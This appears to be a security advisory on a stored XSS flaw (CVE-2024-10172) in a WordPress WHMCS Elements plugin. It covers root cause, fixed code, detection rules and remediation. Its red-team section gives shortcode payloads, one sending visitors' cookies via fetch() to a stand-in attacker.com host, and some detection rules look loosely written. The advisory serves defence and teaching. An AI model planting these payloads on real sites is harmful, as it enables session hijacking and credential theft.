CVE-2024-10172

Executive Summary

CVE-2024-10172 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery Visual Composer WHMCS Elements WordPress plugin, affecting all versions up to and including 1.0.4. The flaw resides in the void_wbwhmcse_laouts_search shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a page containing the malicious shortcode is visited, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin is used to integrate WHMCS billing with WPBakery Visual Composer, making it a target for attackers aiming to compromise WordPress sites with WHMCS functionality.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but is distributed via the WordPress plugin repository or third-party marketplaces. Users should verify the plugin’s source and ensure they are not using compromised versions. No official patch is currently available, increasing supply chain risk for sites relying on this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to execute arbitrary JavaScript in the context of a WordPress admin or visitor can lead to privilege escalation or data theft. The lack of a patch elevates the real-world risk.

Deep Dive & Mechanics

The vulnerability exists in the void_wbwhmcse_laouts_search shortcode, which is registered by the plugin. This shortcode accepts user-defined attributes (e.g., category, style) that are directly output into the page without proper sanitization or escaping. WordPress shortcodes are processed on the server side, and if attributes are not filtered, an attacker can inject HTML/JavaScript.

Root Cause: The plugin uses echo or return statements that include attribute values without passing them through esc_attr() or wp_kses(). For example:

echo '<div class="' . $atts['category'] . '">';

An attacker can set category to "><script>alert(1)</script><div class=" to break out of the attribute context.

Attack Flow:

1. Attacker with Contributor-level access creates or edits a post/page.
2. Inserts the shortcode: [void_wbwhmcse_laouts_search category="xss_payload"]
3. The payload is stored in the database.
4. When any user (including admins) visits the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (v1.0.4):

function void_wbwhmcse_laouts_search_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category' => '',
        'style' => ''
    ), $atts);
    // Direct output without escaping
    return '<div class="wbwhmcse-layouts-search" data-category="' . $atts['category'] . '">';
}

Patched Code (Hypothetical):

function void_wbwhmcse_laouts_search_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category' => '',
        'style' => ''
    ), $atts);
    // Properly escape attributes
    return '<div class="wbwhmcse-layouts-search" data-category="' . esc_attr($atts['category']) . '">';
}

The fix requires using esc_attr() on all user-supplied attributes and wp_kses_post() for any HTML content.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WPBakery Visual Composer WHMCS Elements plugin v1.0.4.
• Authenticated user with Contributor role or higher.

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode:

   [void_wbwhmcse_laouts_search category="xss\" onmouseover=\"alert(1)\""]
   

   Or for a more persistent payload:

   [void_wbwhmcse_laouts_search category="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish the post.
5. When an admin or visitor views the post, the script executes.

Lab Setup:

• Use a local WordPress instance (e.g., via Docker) with the vulnerable plugin installed.
• Simulate the attack using a browser with developer tools to inspect the injected HTML.

Blue Team (Detection & Response)

Detection:

• Monitor for shortcode usage with suspicious attribute values in post content.
• Look for outbound HTTP requests to unknown domains from the WordPress server.
• Check for unexpected JavaScript execution in browser console logs.

Response:

• Immediately disable the plugin if no patch is available.
• Remove any posts/pages containing malicious shortcodes.
• Rotate all user sessions and API keys.
• Conduct a full malware scan of the WordPress installation.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/void_wbwhmcse/ directory presence.
• Database: Posts/pages containing shortcode [void_wbwhmcse_laouts_search with unusual attribute values.
• Network: Outbound connections to IPs/domains not associated with the site’s normal operations.
• Logs: WordPress debug log entries showing unescaped attribute output.
• Browser: JavaScript alerts or unexpected redirects when visiting certain pages.

Detection Engineering

YARA Rule

rule wp_plugin_xss_cve_2024_10172 {
    meta:
        description = "Detects WPBakery WHMCS Elements plugin with XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10172"
    strings:
        $shortcode = "void_wbwhmcse_laouts_search"
        $unsafe_output = /data-category\s*=\s*["'][^"']*["']/
    condition:
        $shortcode and #unsafe_output > 0
}

Sigma Rule

title: CVE-2024-10172 - Stored XSS via WPBakery WHMCS Elements Shortcode
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a9e7c
status: experimental
description: Detects stored XSS payloads in WordPress posts using the vulnerable shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "void_wbwhmcse_laouts_search"
        http.url|re: "category=.*<script"
    condition: selection
falsepositives:
    - Legitimate use of the shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10172 - Stored XSS via WPBakery WHMCS Elements Shortcode"; flow:to_server,established; content:"void_wbwhmcse_laouts_search"; http_uri; pcre:"/category=.*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove all instances of the vulnerable shortcode from posts/pages.
3. Review user roles and restrict Contributor-level access if not needed.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement a Web Application Firewall (WAF) rule to block shortcode attributes containing <script> or event handlers.
• Use WordPress security plugins (e.g., Wordfence) to monitor for XSS attempts.

Workaround:

• If the plugin is critical, manually edit the plugin file to add esc_attr() to all shortcode attributes. However, this will be overwritten on plugin updates.

Valters IT
Securing Digital Frontiers